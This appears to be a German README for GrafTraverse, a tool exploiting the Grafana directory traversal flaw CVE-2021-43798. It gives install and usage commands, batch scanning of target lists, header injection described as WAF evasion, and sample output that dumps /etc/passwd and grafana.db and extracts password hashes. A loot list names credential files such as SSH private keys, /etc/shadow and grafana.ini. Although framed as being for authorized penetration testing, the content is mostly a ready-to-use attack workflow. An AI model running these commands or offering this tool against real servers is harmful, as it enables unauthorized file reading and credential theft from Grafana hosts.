
CVE-2021-43798 MiNi Exploitation Framework
Kommandozeilen-Automatisierungswerkzeug für autorisierte Sicherheitstests von Grafana Directory Traversal (CVE-2021-43798).
CVE-2021-43798 ist eine nicht authentifizierte Directory-Traversal-Sicherheitslücke in Grafana 8.x, die es Angreifern ermöglicht, beliebige Dateien im zugrunde liegenden Dateisystem über den /public/plugins/-Endpunkt zu lesen. Die Ursache ist eine unsachgemäße Pfadbereinigung bei Plugin-Asset-Anfragen, die es ../-Sequenzen ermöglicht, das vorgesehene Verzeichnis zu verlassen.
GrafTraverse ist eine vollständige Neufassung des ursprünglichen Proof-of-Concept. Es behebt kritische Fehler in der Anfrageverarbeitung, fügt mehrthreadiges Batch-Scannen, automatische Plugin-Erkennung, Extraktion von Anmeldeinformationen und strukturierte Berichterstellung hinzu – und macht es zu einem produktionsreifen Werkzeug für Red Teams und Penetrationstester.
# Repository klonen
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Sicherstellen, dass requests verfügbar ist (bei Kali vorinstalliert)
pip3 install requests
# Ausführbar machen
chmod +x GrafTraverse.py
GrafTraverse nutzt ein subcommand-basiertes CLI. Alle Befehle unterstützen --help.
Starte das interaktive Menü gegen einen Host:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
Schnell identifizieren, welcher Plugin-Endpunkt angreifbar ist, ohne Exploitation:
python3 GrafTraverse.py scan -u http://target:PORT
Lade Ziele aus einer Datei und verarbeite sie gleichzeitig:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
targets.txt-Format:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Zeilen, die mit # beginnen, werden ignoriert
Übergebe eine benutzerdefinierte Dateiliste für tiefes Traversal:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Route durch Burp Suite und füge benutzerdefinierte Header hinzu:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| Flag | Beschreibung |
|---|---|
-l, --list | Datei mit Ziel-URLs (erforderlich) |
--workers | Gleichzeitige Threads (Standard: 5) |
(alle single-Flags werden unterstützt) |
scan| Flag | Beschreibung |
|---|---|
-u, --url | Ziel-URL (erforderlich) |
| (alle Netzwerk-Flags werden unterstützt) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
Die integrierte Beute-Sequenz versucht, die folgenden Dateien in dieser Reihenfolge abzurufen:
| Funktion | Beschreibung |
|---|
| Multi-Plugin Brute-Force | Testet automatisch über 40 integrierte Plugins, um einen angreifbaren Pfad zu finden |
| Interaktiver Modus | Menügesteuerte Einzelziel-Exploitation mit Live-Dateivorschau |
| Batch-Modus | Gleichzeitiges Scannen mehrerer Ziele mit konfigurierbaren Thread-Workern |
| Wortlisten-Modus | Tiefe Dateienumeration mit benutzerdefinierten Wortlisten |
| Automatische Hash-Extraktion | Extrahiert automatisch PBKDF2-Passwort-Hashes aus heruntergeladener grafana.db |
| Strukturiertes Logging | Exportiert Ergebnisse nach JSON und CSV für nahtlose Berichterstellung |
| Proxy-Unterstützung | Leitet Datenverkehr über Burp, ZAP oder einen beliebigen HTTP-Proxy (--proxy) |
| Benutzerdefinierte Header | Injectiert beliebige Header für WAF-Umgehung oder Auth-Tokens (-H) |
| Traversal-Anpassung | Überschreibt die Standard-Traversal-Tiefe für nicht standardgemäße Umgebungen (--depth) |
| Intelligente Filterung | Eliminiert Fehlalarme durch Zurückweisung von Plugin-JS/CSS/HTML-Antworten |
| Null Abhängigkeiten | Erfordert nur requests (vorinstalliert auf Kali / Parrot) |
| Flag | Beschreibung |
|---|
-u, --url | Ziel-URL (erforderlich) |
--no-download | Nur-Lesen-Modus, keine Dateien speichern |
-t, --timeout | Anfrage-Timeout in Sekunden (Standard: 10) |
--proxy | HTTP/HTTPS-Proxy-URL |
-H, --header | Benutzerdefinierter Header (wiederholbar) |
--depth | Traversal-String (Standard: ../../../../../../../../) |
--output-dir | Verzeichnis zum Speichern abgerufener Dateien |
--json | Ergebnisse an JSON-Logdatei anhängen |
--csv | Ergebnisse an CSV-Logdatei anhängen |
--wordlist | Datei mit zu enumerierenden Pfaden |
--plugin | Erzwinge einen bestimmten Plugin-Namen |
| Datei | Typ | Sensitivität |
|---|
/etc/passwd | Text | Benutzerenumeration |
/etc/shadow | Text | Passwort-Hashes (selten lesbar) |
/etc/hosts | Text | Netzwerktopologie |
/etc/hostname | Text | Host-Identifikation |
/etc/grafana/grafana.ini | Text | Grafana-Geheimnisse & DB-Anmeldedaten |
/var/lib/grafana/grafana.db | Binär | SQLite-DB mit Benutzer-Hashes & API-Schlüsseln |
/var/log/grafana/grafana.log | Text | Betriebliche Informationen |
/root/.ssh/id_rsa | Text | SSH-privater Schlüssel |
/root/.ssh/authorized_keys | Text | Schlüsselbasierte Zugriffszuordnung |
/proc/self/environ | Text | Prozessumgebungsvariablen |
/proc/self/cmdline | Text | Prozessargumente |
/proc/version | Text | Kernel-Version |
/proc/mounts | Text | Dateisystemlayout |
/etc/os-release | Text | Betriebssystem-Identifikation |
/etc/issue | Text | Betriebssystem-Identifikation |
/etc/crontab | Text | Geplante Aufgaben |
/etc/resolv.conf | Text | DNS-Konfiguration |